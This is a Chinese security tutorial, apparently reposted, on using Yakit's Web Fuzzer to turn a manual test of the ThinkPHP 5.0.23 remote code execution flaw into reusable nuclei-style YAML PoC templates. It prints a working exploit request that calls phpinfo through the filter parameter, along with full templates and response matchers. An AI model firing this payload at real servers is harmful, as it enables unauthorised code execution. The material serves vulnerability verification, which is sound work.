PoC免写攻略

2024-03-01 19:52
文章标签 攻略 poc 免写

本文主要是介绍PoC免写攻略,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

在网络安全领域,PoC(Proof of Concept)起着重要的作用,并且在安全研究、漏洞发现和漏洞利用等方面具有重要的地位。攻击方视角下,常常需要围绕 PoC 做的大量的工作。常常需要从手动测试开始编写 PoC,再到实际调试 PoC的正确性,最后才能将编写完毕的 PoC 投入批量使用,在此目前流程中各个阶段之间并没有很好的关联性,相互之间不能 一键 完成,需要从业人员花费不少不必要的工作时间。Yakit 为了解决这个问题,在 Web Fuzzer 中带来了新的功能——一键导出PoC yaml 以及 联动的调试功能。打通 PoC 的工作流程,让 PoC 可以真正地“免写”。本文将以编写一个 ThinkPHP 5.0.23版本的RCE漏洞的 PoC 为线索来介绍Yakit的 PoC 支持。

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

Web Fuzzer 手动验证

构造数据包

先来尝试使用Web Fuzzer 手动触发一个 ThinkPHP 的 RCE 漏洞。先在Web Fuzzer里构造一个可以触发漏洞的数据包:

POST /index.php?s=captcha HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

上述是一个可以执行 phpinfo 的测试数据包,直接发送给目标可以触发一个 phpinfo 响应。

1699257170_65489b52dc3ce55645bd5.png!small?1699257169513

验证响应-匹配器

除了测试数据包外还需要有与测试数据对应的 预期响应,以验证漏洞是否触发。

对以此漏洞一个比较合理的判断是:响应页面同时有ThinkPHPPHP VersionPHP Extension三个关键字的时候是成功用ThinkPHP RCE执行了phpinfo函数,触发了漏洞。

在 Yakit Web Fuzzer 中可以使用匹配器来便捷地匹配数据、检查响应是否符合预期。匹配器位于 Web Fuzzer 的高级配置栏,

匹配器三种匹配模式:丢弃,保留,仅匹配

  1. 丢弃:丢弃模式会在符合匹配器时下丢弃返回包。
  2. 保留:保留模式会在符合匹配器时保留返回包,剩余的返回包则直接丢弃。
  3. 仅匹配:仅匹配模式会在符合匹配器时将对应的返回包染色,而不做其他操作。选中此模式一旁出现的色点既是染色使用的颜色

1699257180_65489b5c95df8853b043c.png!small?1699257179494

直接来使用匹配器来匹配上述测试数据包的预期数据:

点击添加匹配器,在页面右下角会弹出匹配器详细设置页面

1699257187_65489b633167ab4d42d9c.png!small?1699257185840

详细设置页面十分简单明了,支持五种匹配模式、四种匹配范围以及两种匹配关系。上述数据包的匹配规则可以表达为:AND关系全部响应中匹配三个关键字,在匹配器中即可如下设置。

1699257192_65489b68cc9f74e2a7fcb.png!small?1699257191494

点击应用,匹配器即可生效。重新发送数据包,会提示数据包成功匹配:

1699257199_65489b6f17c89dace576d.png!small?1699257198278

至此,已经完成了手动测试一个数据包以及匹配预期响应的流程,在 Web Fuzzer 手动发包已经成功完成了一次漏洞验证,有了构造PoC的基础。

Web Fuzzer 自动导出 PoC

PoC的作用当然不能限制在单次的手动测试中,它的作用是通过提炼一个手动测试的流程,来自动化验证某个漏洞,上一节里在Web Fuzzer完成了手动测试ThinkPHP RCE漏洞的部分,接下来就需要将这次手动测试提炼成一个可以重复使用的 PoC 文件。

在 Web Fuzzer右上角处,有两个按钮,分别对应直接导出 PoC转到调试 PoC

1699257204_65489b740fac0ee16f508.png!small?1699257202683

PoC****结构

这里导出和调试的PoC使用的是 Yakit 兼容的 nuclei PoC 模板。点击导出 PoC ,上面的手动测试的流程被保存为如下的 PoC Yaml。

支持 Raw 和 Path 两种模式,可自由选择

``

// Raw 模式
id: WebFuzzer-Template-UuMDryDUinfo:name: WebFuzzer Template UuMDryDUauthor: godseverity: lowdescription: write your description herereference:- https://github.com/- https://cve.mitre.org/metadata:max-request: 1shodan-query: ""verified: trueyakit-info:sign: 4a59ba760cdf626429aa3c22ab3dcfa0http:
- raw:- |-@timeout: 30sPOST /index.php?s=captcha HTTP/1.1Host: {{Hostname}}Content-Type: application/x-www-form-urlencodedContent-Length: 72_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1max-redirects: 3matchers-condition: andmatchers:- type: wordwords:- ThinkPHP- PHP Version- PHP Extensioncondition: and// Path 模式
id: WebFuzzer-Template-oZqWchulinfo:name: WebFuzzer Template oZqWchulauthor: godseverity: lowdescription: write your description herereference:- https://github.com/- https://cve.mitre.org/metadata:max-request: 1shodan-query: ""verified: trueyakit-info:sign: 69a05e9c6fc674153565cbbe1e868464http:
- method: POSTpath:- '{{RootUrl}}index.php'headers:Content-Type: application/x-www-form-urlencodedHost: 172.29.228.154:8080body: _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1max-redirects: 3matchers-condition: andmatchers:- type: wordwords:- ThinkPHP- PHP Version- PHP Extensioncondition: and

yakit sign

此 Yaml PoC 有一个特殊的字段yakit-info:sign。顾名思义,这是一个签名,一个用于保护 PoC 数据正确性、完整性的签名。对 PoC 内的重要数据进行签名,包括 raw 、method、headers…

在 Yakit 插件生态中,上述的 PoC 是可以作为一种插件被用户方便地使用的,但是作为一个纯文本的数据,很难验证本身是否被错误地改动。而这个签名字段的作用即是验证此 PoC 是否被意外改动。

在批量执行的插件的情况下,也可以用通过对签名的验证来筛选出可以信赖的插件,很大程度上避免了本地插件被意外修改导致验证失败的问题。

PoC****调试

PoC 显然是不能不经调试检验直接使用的,在上一步中提炼除了 Yaml PoC 还需要把 PoC进行进一步的调试,来测试 PoC的完善性。在 Web Fuzzer 页面中点击右上角的生成 Yaml 模板按钮即可将当前 Web Fuzzer 的配置生 Yaml PoC 并且调整到插件调试页面,方便师傅们进一步调试。

1699257221_65489b85629d694878088.png!small?1699257219975

调试页面可以对 Yaml PoC 插件进行测试,通过测试不同的目标来验证检查其完善性。

1699257228_65489b8c4474f09fa2188.png!small?1699257226779

一旁的配置调试请求栏中可以设置不同的调试目标,支持域名、IP、URL。配置调试目标完成之后,点击执行即可看到本次的调试流量、插件信息以及控制台输出

1699257234_65489b922b398a331cd9f.png!small?1699257232935

经过详细地调试之后,在调试插件的右上角有存为插件的按钮,点击即可将当前调试的 Yaml PoC 保存为插件,让此 PoC 正式成为一个可以批量使用的插件。

1699257238_65489b963766806b77975.png!small?1699257236954

总结

至此通过 Yakit 的导出与调试 Yaml PoC 功能,我们很简便的完成了一个批量使用的 PoC 编写,期间除了最开始的构造数据包部分需要人工手动测试,其余阶段 Yakit 都自动化完成了。

这篇关于PoC免写攻略的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/763627

相关文章

大模型研发全揭秘:客服工单数据标注的完整攻略

在人工智能(AI)领域,数据标注是模型训练过程中至关重要的一步。无论你是新手还是有经验的从业者,掌握数据标注的技术细节和常见问题的解决方案都能为你的AI项目增添不少价值。在电信运营商的客服系统中,工单数据是客户问题和解决方案的重要记录。通过对这些工单数据进行有效标注,不仅能够帮助提升客服自动化系统的智能化水平,还能优化客户服务流程,提高客户满意度。本文将详细介绍如何在电信运营商客服工单的背景下进行

电脑桌面文件删除了怎么找回来?别急,快速恢复攻略在此

在日常使用电脑的过程中,我们经常会遇到这样的情况:一不小心,桌面上的某个重要文件被删除了。这时,大多数人可能会感到惊慌失措,不知所措。 其实,不必过于担心,因为有很多方法可以帮助我们找回被删除的桌面文件。下面,就让我们一起来了解一下这些恢复桌面文件的方法吧。 一、使用撤销操作 如果我们刚刚删除了桌面上的文件,并且还没有进行其他操作,那么可以尝试使用撤销操作来恢复文件。在键盘上同时按下“C

企业大模型落地的“最后一公里”攻略

一、大模型落地的行业现状与前景 大模型在多个行业展现出强大的应用潜力。在金融行业,沉淀了大量高质量数据,各金融平台用户数以亿计,交易数据浩如烟海。利用大模型分析处理这些数据,金融机构可以预测用户行为偏好,更高效、准确评估客户风险,实时监测交易和市场波动,及时制定策略。IDC 调研显示,超半数的金融机构计划在 2023 年投资生成式人工智能技术。 在科技领域,商汤人工智能大装置为大模型企业提

2025计算机毕业设计选题攻略

博主介绍:✌全网粉丝10W+,前互联网大厂软件研发、集结硕博英豪成立工作室。专注于计算机相关专业毕业设计项目实战6年之久,选择我们就是选择放心、选择安心毕业✌ 🍅由于篇幅限制,想要获取完整文章或者源码,或者代做,拉到文章底部即可看到个人VX。🍅 2023年 - 2024年 最新计算机毕业设计 本科 选题大全 汇总 计算机专业毕业设计之避坑指南(开题答辩选导师必看) 感兴趣的可以先收藏起来,还

用友UFIDA NC portal/pt/file/upload接口存在任意文件上传漏洞 附POC

@[toc] 用友UFIDA NC portal/pt/file/upload接口存在任意文件上传漏洞 附POC 免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 1. 用友UFIDA NC 简介 微信公众号搜索:南风漏洞复现文库 该文

2025届必备:如何打造Java SpringBoot大型超市数据处理系统,提升管理效率,最新攻略!

✍✍计算机编程指导师 ⭐⭐个人介绍:自己非常喜欢研究技术问题!专业做Java、Python、微信小程序、安卓、大数据、爬虫、Golang、大屏等实战项目。 ⛽⛽实战项目:有源码或者技术上的问题欢迎在评论区一起讨论交流! ⚡⚡ Java实战 | SpringBoot/SSM Python实战项目 | Django 微信小程序/安卓实战项目 大数据实战项目 ⚡⚡文末获取源码 文章目录

Spring data ES攻略

总结下es的使用,方便其他小伙伴使用 一、配置依赖 <dependency><groupId>org.springframework.data</groupId><artifactId>spring-data-elasticsearch</artifactId><version>2.0.4.RELEASE</version></dependency> 二、xml配置 创建xml文件,配

tomato靶场攻略

1.使用nmap扫描同网段的端口,发现靶机地址 2.访问到主页面,只能看到一个大西红柿 3.再来使用dirb扫面以下有那些目录,发现有一个antibot_image 4.访问我们扫到的地址 ,点金目录里看看有些什么文件 5.看到info.php很熟悉,点进去看看   6.查看源代码发现是通过GET方式传参的 ,有文件包含漏洞 7. 利用文件包含漏洞,我们尝试查看一

微信支付商家转账到零钱:快速开通攻略及功能全解

一、申请资格与条件 哪些商家可以申请商家转账到零钱功能? 仅公司性质的商户可以申请,个体工商户当前不支持此功能。商户账号应无正在进行的处罚,且历史无风险行为。微信支付账户没有历史违规记录。商家系统已经上线并可以访问。是否需要满足开通满90天和连续交易30天的要求? 目前商家转账到零钱及现金红包功能已取消该限制,新注册公司可直接申请,无需等待。 二、申请流程 如何申请开通商家转账到零钱功能

黑神话悟空大头怪怎么打 黑神话悟空大头怪攻打攻略

《黑神话悟空》中的大头娃娃作为新手村的敌人,让不少自信满满的玩家受挫,即便是花费近三百元成为“天命人”的玩家也难以轻易通过,甚至有的玩家连续奋战多日都无法顺利离开新手村。为此,小编特地整理了一份《黑神话悟空》大头娃娃无伤攻略,正在为此苦恼的小伙伴们不妨来参考一下。 对于想要提升游戏体验的玩家来说,一款优质的耳机是必不可少的装备。南卡OE MIX开放式耳机以其独特的不入耳佩戴方式,确保了长